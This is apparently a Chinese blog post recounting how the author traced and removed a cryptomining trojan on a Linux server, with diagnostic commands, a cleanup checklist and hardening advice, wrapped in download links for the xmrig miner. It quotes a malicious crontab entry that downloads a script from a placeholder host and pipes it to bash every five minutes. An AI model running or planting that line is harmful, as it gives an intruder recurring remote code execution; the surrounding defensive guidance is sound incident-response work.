风扇狂转、电费翻倍:6 个步骤彻底排查算力劫持(挖矿木马防护手记)
【免费下载链接】xmrigRandomX, KawPow, CryptoNight and GhostRider unified CPU/GPU miner and RandomX benchmark项目地址: https://gitcode.com/GitHub_Trending/xm/xmrig
这篇文章记录了一次真实的算力劫持排查手记——我的服务器在一夜之间被恶意挖矿程序盯上,CPU 被占满、电费翻倍。如果你也遇到风扇狂转、服务器 CPU 占用过高却找不到原因的情况,照着文末那份 10 分钟清单走一遍,大概率能把可疑进程揪出来。
那个让电费多出三百块的凌晨
周三凌晨 1 点,我在书房改代码,隔壁房间的服务器突然发出一阵"嗡嗡"的轰鸣——风扇像是开了狂暴模式。我以为是编译任务,没太在意,顺手看了一眼温度,CPU 已经飙到 92℃。
等到第二天查电费账单,当月电费直接翻了一倍多。我这才意识到:不对劲。
打开终端,top一刷,一个叫sysupdate的进程正安静地吃掉 16 个核心,占用率 1600%。它不是我装的东西,我甚至没听说过这个名字。那一刻我明白——算力劫持已经在我眼皮底下发生了,而且可能已经持续了好几天。
先别急着重启:三个常见误区
很多人在这个阶段会踩坑,我那次也差点:
- "杀毒软件没报警 = 安全"—— 挖矿木马不做破坏、不删文件,只是默默"烧 CPU",特征极淡;何况它脱胎于 xmrig 这类合法开源矿工,静态查杀很容易放行。
- "重启一下就干净了"—— 木马早就写好了开机自启项,重启不是清除,是帮它重新上线。
- "进程杀掉就完事了"—— 只杀进程、不挖源头(下载脚本、自启项、入侵入口),十分钟后它会卷土重来。
排障手记:四小时,从风扇噪音到揪出真凶
下面是我那天完整的排查过程,按时间线记下来,你可以把它当成一份"现场还原":
01:05 确认异常先用top -o %CPU -n 1 | head -15按 CPU 占用排序,确认是sysupdate长期霸榜,而不是偶发尖峰。
01:20 核实进程身份执行ps -ef | grep sysupdate,启动参数里赫然写着--url stratum+tcp://mine.fastpool-xyz.net:14444——这是典型的矿池连接参数。真凶基本锁定。
01:35 定位真实文件ls -l /proc/<PID>/exe指向/tmp/.X11-unix/下的一个隐藏目录。正常的系统服务绝不会藏在临时目录里,这一条基本可以定罪。
01:50 检查网络连接用ss -tunap | grep 14444看到一个与境外 IP 的稳定长连接,端口 14444 并非常见服务端口,而是矿池常用端口之一。
02:10 排查持久化依次检查crontab -l、/etc/crontab、/etc/cron.d/、systemctl list-units和~/.bashrc,果然在 crontab 里发现一个每 5 分钟执行一次的下载脚本:
*/5 * * * * curl -s http://x.x.x.x/a.sh | bash02:40 回溯入侵路径翻/var/log/auth.log,找到大量来自同一 IP 的 SSH 爆破成功记录——根因是这台服务器的 root 密码太弱,被撞库拿下了。
03:00 彻底清除杀掉进程、删除临时目录里的木马文件、清掉 crontab 和脚本、更换高强度密码、关闭 root 远程登录,再手动重启确认不再复发。
顺便说一句:这类木马大多脱胎于 xmrig 等开源矿工——它本身是合法工具,支持 RandomX、KawPow、CryptoNight、GhostRider 等算法,但恶意变种会把它改得面目全非。想从源码层面认识正版行为特征的读者,可以
git clone https://gitcode.com/GitHub_Trending/xm/xmrig到本地,对照它的默认配置和命令行参数。
拿正版和木马放一起,特征差异其实很明显:
| 对比项 | 正版 xmrig | 恶意变种 |
|---|---|---|
| 配置文件 | 完整、可读、可配置 | 删掉或强行加密 |
| 日志输出 | 默认开启,可追溯 | 静默无日志 |
| HTTP API | 可按需开启 | 强制关闭 |
| 线程控制 | 可限制最大使用率 | 吃满所有核心 |
| 文件位置 | 用户指定目录 | 临时目录 + 自启项 |
照抄即可:10 分钟算力劫持自助排查清单
这份清单是我后来整理成文的,普通用户照着勾一遍就行:
- 看 CPU:
top -o %CPU -n 1 | head -15,找出常年占用多核、名字又陌生的进程 - 画像:
ps -ef,重点盯"名字像系统进程、路径却在 /tmp、/dev/shm"的可疑对象 - 查网络:
ss -tunap | grep -E ':14444|:18888|:45560',定位指向境外 IP 的异常长连接 - 清自启:检查
crontab -l、/etc/cron.d/、systemd 服务、~/.bashrc、/etc/ld.so.preload - 看登录:
grep -i accepted /var/log/auth.log或lastb,找陌生 IP 的成功登录记录 - 收尾双保险:杀软全盘扫一遍,同时检查 22、6379 等端口是否暴露在公网
防大于治:让恶意挖矿程序进不来的五个日常习惯
排查一次很累,但更值钱的是让它下次进不来:
- 最小权限:别用 root 跑应用和服务,权限越少,损失越小
- 密钥登录:SSH 禁用密码登录、只留密钥,再加一层 fail2ban 封禁暴力破解
- 收敛端口:防火墙只放行必要端口,矿池常用的 14444 这类端口一律不进不出
- 设告警:给 CPU 设置阈值(如持续 80% 以上 5 分钟就推送),让异常在第一时间暴露
- 勤升级勤备份:系统和软件保持最新,重要数据做 3-2-1 备份
答疑时间:挖矿木马防护高频 4 问
Q1:中了挖矿木马,要不要重装系统?如果只发现一个可疑进程、自启项也干净,清干净后观察一周即可;但若发现/etc/ld.so.preload被改、有 rootkit 痕迹,或根本说不清来源,重装最省心。
Q2:重装系统后还会复发吗?会。入侵入口(弱口令、未授权服务)没堵上,或者内网其他机器也中招了,几分钟内就会再次沦陷。重装后的第一件事是加固,而不是急着部署业务。
Q3:为什么杀毒软件没报警?挖矿木马只"烧 CPU"不搞破坏,行为特征不明显;而且基于 xmrig 这类开源项目的变种,很容易绕过静态特征库。
Q4:被挖走的算力能追回来吗?基本追不回。重点是止损加取证:保留日志、记下矿池地址和钱包地址,交给企业安全团队或网安部门。
写在最后:一次排查,终身受益
算力劫持不可怕,可怕的是"重启一下就好了"的侥幸心理。掌握上面 6 个步骤,你也能在十分钟内完成一次完整的挖矿木马防护排查,把藏在暗处的"电费吸血鬼"彻底赶出去。
下期预告:如何用不到五块钱的成本,在风扇狂转的那一刻就收到微信告警——手把手教你搭一套零依赖的 CPU 异常监控。
【免费下载链接】xmrigRandomX, KawPow, CryptoNight and GhostRider unified CPU/GPU miner and RandomX benchmark项目地址: https://gitcode.com/GitHub_Trending/xm/xmrig
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考